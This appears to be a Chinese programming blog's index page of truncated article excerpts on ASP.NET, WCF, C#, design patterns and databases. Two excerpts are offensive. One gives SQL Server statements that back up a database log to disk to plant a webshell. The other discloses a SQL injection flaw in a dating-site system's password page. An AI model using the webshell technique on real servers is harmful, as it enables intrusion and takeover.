Application_Error中判断404错误状态

评论(0)浏览(90)分类:Asp.Net/C#/WCF
Application_Error中判断404错误状态  Application_Error 中如何获取http 404,500错误状态代码void Application_Error(object sender, EventArgs e){ Exception ex = Server.GetLastError(); if (ex is HttpException) { if (((HttpException)(ex)).GetHttpCode() == 404) Server.Transfer(~/Error404.aspx); } // Code that runs when an unh..

asp Scripting.Dictionary字典示例

评论(0)浏览(90)分类:Asp/VBScript
asp Scripting.Dictionary字典示例  vbscript的Scripting.Dictionary创建了类似于Key索引对应Value值的字典对象,通过Key直接索引到指定的Value。  VBScript中Scripting.Dictionary使用示例如下Dim objDictSet objDict = WSH.CreateObject(Scripting.Dictionary) ' .Add(key, value) objDict.Add a, value1 objDict.Add b, value2 objDict.Add c, value3 '直..

WCF REST-ASP.NET Output Caching缓存

评论(0)浏览(90)分类:Asp.Net/C#/WCF
WCF REST-ASP.NET Output Caching缓存  ASP.NET的输出缓存(Output Caching)机制允许我们针对整个Web页面或者页面的某个部分(主要针对用户控件)最终呈现的HTML进行缓存。对于后续针对相同资源的请求,只需 要直接将缓存的HTML予以回复而无须按照页面处理生命周期对每次请求进行重复处理。WCF通过操作行为AspNetCacheProfileAttribute利用ASP.NET的输出缓存提供一种针对于某个操..

ASP.NET MVC Model元数据定制

评论(0)浏览(90)分类:asp.net-mvc
ASP.NET MVC Model元数据定制  在《ASP.NET MVC Model元数据》 我们已经提到过了,Model元数据的定制是通过在作为Model的数据类型极其属性成员上应用相应的特性来实现,这些用于声明式元数据定义的特性大都定 义在System.ComponentModel.DataAnnotations.dll程序集中,程序集的名称同时也是对应的命名空间名称,所以我们 可以它们为数据注解特性(Data Annotation Attribu..

C# 3.x新特性-Object Initializer & Collection Initializer

评论(0)浏览(90)分类:Asp.Net/C#/WCF
C# 3.x新特性-Object Initializer & Collection Initializer一、 为什么要引入Object Initializer 和 Collection Initializer  在创建一个具有较多属性的对象时,我们一定经常遇到这样的状况:为了尽量地使我们的Code更加简洁,我们试图调用一个适合的Constructor使得对象在创建过程中就可以为所需的属性进行初始化,但是往往我们找不到这样完美的Constructor都能够匹配我们需要进行初始化的属性列表。于..

Policy Injection Application Block简介

评论(0)浏览(90)分类:Asp.Net/C#/WCF
Policy Injection Application Block简介一、Business Logic 和 Infrastructure Logic的分离  对于任何一个企业级应用的开发人员来说,他们编写的代码不仅仅是处理单纯的业务逻辑,同时还需要处理很多的非业务方面的逻辑,比如:Caching、Transaction Enlist、Authorization、Auditing、Exception Handling、Logging、Validation甚至是Performance Counter。我习惯把这些非业务逻辑成..

javascript console详解

评论(0)浏览(90)分类:Asp.Net/C#/WCF
javascript console详解console.log(object[, object, ...])在控制台输出一条消息。如果有多个参数,输出时会用空格隔开这些参数。第一个参数可以是一个包含格式化占位符输出的字符串,例如:console.log(The%sjumpedover%dtallbuildings,animal,count);上面的例子可以用下面的无格式化占位符输出的代码替换:console.log(The,animal,jumpedover,count,tallbuildings);..

Enterprise Library-WCF与Exception Handling AppBlock集成[上]

评论(0)浏览(89)分类:Asp.Net/C#/WCF
Enterprise Library-WCF与Exception Handling AppBlock集成[上]  在《WCF技术剖析目录》的最后一章,我给出了一个具体的应用WCF的分布式应用实例,我把这个实例命名为PetShop。在这个例子中,我利 用WCF的扩展实现了一些设计、架构模式,比如AOP、IoC等。看过本书的读者,一定还记得我还通过WCF扩展实现了于微软企业库 (Enterprise Library)异常处理应用块(Exception Handling Application Block:EHAB)..

如何禁用DW20.exe

评论(0)浏览(89)分类:操作系统及应用软件
如何禁用DW20.exe  DW20.exe这个进程是Microsoft Application Error Reporting,用于在MS的app崩溃时发送错误报告的。  解决方法:右键我的电脑-属性-系统属性-高级-错误报告,设置禁用,DW20.exe就被禁用,不会启动了。来源:http://blog.csdn.net/jxufewbt/article/details/5257691

asp.net/asp Response IsClientConnected属性

评论(0)浏览(89)分类:Asp/VBScript
asp.net/asp Response IsClientConnected属性  Response IsClientConnected 属性可以在asp/asp.net运行之时,判断客气端是否断开连接,返回true or false。这样避免用户在访问执行时间比较长的页面时,因为用户的重新刷新或关闭页面,服务端程序还在继续执行,导致服务器资源没有被即时释放。IsClientConnected相关说明:IsClientConnected 属性只读,它指示自上次调用 Response.Write 之..

控制软件只能运行一个实例

评论(0)浏览(89)分类:Asp.Net/C#/WCF
控制软件只能运行一个实例  要控制软件只运行一个实例,可以使用System.Diagnostics名字空间中的Process类来实现。  思路:在运行程序前,查找进程中是否有同名的进程,同时运行位置也相同,如是没有运行该程序,如果有,就将同名的同位置的程序窗口置前.  代码实现+展开-C#publicstaticProcessRunningInstance(){Processcurrent=Process.GetCurrentProcess();Process[]..

C#查询域名whois

评论(0)浏览(89)分类:Asp.Net/C#/WCF
C#查询域名whois  C#实现的域名信息whois查询源代码+展开-HTML%@PageLanguage="C#"%%@ImportNamespace="System.Net.Sockets"%%@ImportNamespace="System.Text"%%@ImportNamespace="System.IO"%%@ImportNamespace="System.Collections"%scriptlanguage="C#"runat="server"voiddoQuery(Objectsender,EventArgse){StringstrDomain=txtDomain.Text;char[]chSplit=..

ASP.NET模拟WCF基础架构

评论(0)浏览(89)分类:Asp.Net/C#/WCF
ASP.NET模拟WCF基础架构WCF框架处理流程和涉及的组件  我们的模拟程序将你搭建一个迷你版的WCF框架,为了展示WCF整个处理流程中使用到一些特殊组件。我们首先来简单介绍一下对于一个简单的WCF服务调用,WCF的客户端和服务端框架的处理流程,和该流程的每一个阶段都使用那些重要组件。  下面的列表列出了WCF服务端框架对于处理一个简单的WCF服务调用请求所提供的功能..

5.2 简单控件

评论(0)浏览(89)分类:Asp.Net/C#/WCF
5.2 简单控件  ASP.NET提供了诸多控件,这些控件包括简单控件、数据库控件、登录控件等强大的控件。在ASP.NET中,简单控件是最基础也是经常被使用的控件,简单控件包括标签控件(Label)、超链接控件(HyperLink)以及图像控件(Image)等。5.2.1 标签控件(Label)  在Web应用中,希望显式的文本不能被用户更改,或者当触发事件时,某一段文本能够在运..

3.2 面向对象的C#实现

评论(0)浏览(89)分类:Asp.Net/C#/WCF
3.2 面向对象的C#实现  C#是面向对象的编程语言。在面向对象开发当中,不可避免的要创建一个类,创建类后还需要创建该类的属性和方法来描述对象,然后再创建这个类的对象进行实例化。创建后的对象能够通过类中的属性和方法完成相应的操作。3.2.1 定义  什么是对象?世间万物皆对象,在生活中,可能是一只猫、一只狗,或者是饼干、一张订单、银行卡等等都是对象。..

开启防火墙后,Windows 2003 Serv-U FTP 访问停止

评论(0)浏览(89)分类:操作系统及应用软件
开启防火墙后,Windows 2003 Serv-U FTP 访问停止今天碰到了这个问题,google了一下,收起来。FTP出问题211-Extension supported 停止的解决方法Windows 2003,开启了系统防火墙,系统的安全性提高了很多。但是使用Serv-U架设的FTP服务器就会出现以下问题:FTP客户端在登录成功后,发出FEAT命令后停下来了:[R] FEAT[R] 211-Extension supported[R] CLNTServ-U Administrator 的 spy 显示为:FE..

设计模式(21)-Template Method Pattern

评论(0)浏览(89)分类:C#设计模式
设计模式(21)-Template Method Pattern一、 模板方法(Template Method)模式准备一个抽象类,将部分逻辑以具体方法以及具体构造子的形式实现,然后声明一些抽象方法来迫使子类实现剩余的逻辑。不同的子类可以以不同的方式实现这些抽象方法,从而对剩余的逻辑有不同的实现。这就是模版方法模式的用意。很多人可能没有想到,模版方法模式实际上是所有模式中最为常见的几个模式之一,而..

高速分布式缓存系统 memcached

评论(0)浏览(89)分类:SQL及数据库
高速分布式缓存系统 memcached memcached是什么?memcached 是以LiveJournal 旗下Danga Interactive 公司的Brad Fitzpatric 为首开发的一款软件。现在已成为 mixi、 hatena、 Facebook、 Vox、LiveJournal等众多服务中提高Web应用扩展性的重要因素。许多Web应用都将数据保存到RDBMS中,应用服务器从中读取数据并在浏览器中显示。但随着数据量的增大、访问的集中,就会出现RDBM..

MySQL中MyISAM引擎与InnoDB引擎性能简单测试

评论(0)浏览(89)分类:SQL及数据库
MySQL中MyISAM引擎与InnoDB引擎性能简单测试[硬件配置]CPU : AMD2500+ (1.8G)内存: 1G/现代硬盘: 80G/IDE[软件配置]OS : Windows XP SP2SE : PHP5.2.1DB : MySQL5.0.37Web: IIS6[MySQL表结构]CREATETABLE`myisam`(`id`int(11)NOTNULLauto_increment,`name`varchar(100)defaultNULL,`content`text,PRIMARYKEY(`id`))ENGINE=MyISAMDEFAULTCHARSET=gbk;CREATETABLE`innodb`(`id`int(11)NOTNUL..

Lucene.Net 2.3.1开发介绍 —— 三、索引(四)

评论(0)浏览(89)分类:lucene.net/分词技术
Lucene.Net 2.3.1开发介绍 —— 三、索引(四)4、索引对搜索排序的影响 搜索的时候,同一个搜索关键字和同一份索引,决定了一个结果,不但决定了结果的集合,也确定了结果的顺序。那个这个结果是怎么得出来的?这个顺序又是怎么排的呢?这两个问题不是本节讨论的重点,但是这两个问题却关系到本节要讨论的,索引对结果的影响问题。在不使用字段排序的情况下,Lucene.Net默认是按文档的得分来..

用IHttpModule解决输入中文地址乱码问题(二)

评论(0)浏览(88)分类:Asp.Net/C#/WCF
用IHttpModule解决输入中文地址乱码问题(二)本文是用IHttpModule解决输入中文地址乱码问题(一) 的续文。上文说到,需要对已有的地址进行GB2312编码,这样大大增加了工作量,有没更好的办法呢?1publicclassHookModule:IHttpModule2{34#regionIHttpModule成员56publicvoidDispose()7{89}1011publicvoidInit(HttpApplicationcontext)12{13context.BeginRequest+=newEventHandler(context_B..

一步一步教你使用.net进行Socket通信3

评论(0)浏览(88)分类:Asp.Net/C#/WCF
一步一步教你使用.net进行Socket通信3一步一步教你使用.net进行Socket通信新建一个类,名字为Server,用于侦听网络连接。 +展开-C#1usingSystem;23usingSystem.Net;45usingSystem.Net.Sockets;6789namespaceSocketLibrary1011{1213publicclassServer1415{1617publicConnectionCollectionConnections{1819get{return_connections;}2021set{_connections=value;}2223}2425privateConn..

DB权限备份超时的解决办法

评论(0)浏览(88)分类:SQL及数据库
DB权限备份超时的解决办法有时候遇到目标网站数据库过大,导致备份超时的时候,我们可以通过以下语句进行备份拿webshell alter database CaanCn set RECOVERY FULL-- Drop table [banlg];create table [dbo].[banlg] ([cmd] [image])-- declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x737335393536 backup log @a to disk=@s with init-- insert into b..

dos重定向

评论(0)浏览(88)分类:操作系统及应用软件
dos重定向 在DOS命令中有一个很奇特的命令,通常我们用到的DOS命令如“DEL”、“DIR”这些命令,都是由字母组成的,而这个DOS命令只是一个单个的符号“>”,它的名字就叫做重定向。别看它看起来很简单,用处却很大,就让我们来见识一下重定向的妙用吧。  有一次我到一位朋友家里做客,正赶上朋友在家里整理硬盘,我到他家的时候,他已经把硬盘上的所有..

设计模式(16)-Bridge Pattern

评论(0)浏览(88)分类:C#设计模式
设计模式(16)-Bridge Pattern一、 桥梁(Bridge)模式桥梁模式是一个非常有用的模式,也是比较复杂的一个模式。熟悉这个模式对于理解面向对象的设计原则,包括"开-闭"原则(OCP)以及组合/聚合复用原则(CARP)都很有帮助。理解好这两个原则,有助于形成正确的设计思想和培养良好的设计风格。注:《Java与模式》一书认为Bridge模式不是一个使用频率很高的模式,我不太赞同,我认..

使用微软分布式缓存服务Velocity Part 3

评论(0)浏览(88)分类:SQL及数据库
使用微软分布式缓存服务Velocity Part 3概述Velocity是微软推出的分布式缓存解决方案,为开发可扩展性,可用的,高性能的应用程提供支持,可以缓存各种类型的数据,如CLR对象、XML、二进制数据等,并且支持集群模式的缓存服务器。Velocity也将集成在.NET Framework 4.0中,本文将介绍Velocity中的悲观锁定,缓存项版本、日志记录、客户端缓存以及路由表等知识。 悲观锁定在Velocity提供..

水样月光交友系统 2010 注入漏洞

评论(0)浏览(88)分类:Asp/VBScript
水样月光交友系统 2010 注入漏洞在程序getpass.asp这个文件里。 +展开-VBScriptifrequest.QueryString("action")="rsend"thenifrequest("uname")=""orrequest("uemail")=""thenresponse.Write("script>alert(’请输入登陆用户名和注册邮件地址’);history.back();/script>")endififrequest("upass1")=""orrequest("upass2")=""thenresponse.Write("script>alert(’请输入密码或..

第19章 WPF开发基础

评论(0)浏览(88)分类:Asp.Net/C#/WCF
第19章 WPF开发基础  在Vista和Windows Seven火热发布的今天,很多用户都被Vista的特效所吸引,Vista和的Windows Seven的3D特效,以及毛玻璃等效果给操作系统带来了更新更好的用户体验,在这一系列功劳的背后,WPF占据着不小的功劳。目录19.1 了解WPF  19.1.1 什么是WPF  19.1.2 WPF的应用范围19.2 WPF和Microsoft Expression  19.2.1 使用Microsoft Expre..

C#在Excel文档中搜索文本

评论(0)浏览(88)分类:Asp.Net/C#/WCF
C#在Excel文档中搜索文本   打开Excel的VBA帮助,查看Excel的对象模型,很容易找到完成这个功能需要的几个集合和对象:Application、 Workbooks、Workbook、Worksheets还有Worksheet和Range。Application创建Excel应用,Workbooks打开Excel文档,Workbook获得Excel文档工作薄,Worksheets操作工作表集合,Worksheet获得单个工作表。   搜索的思路对应上述集合和对象,..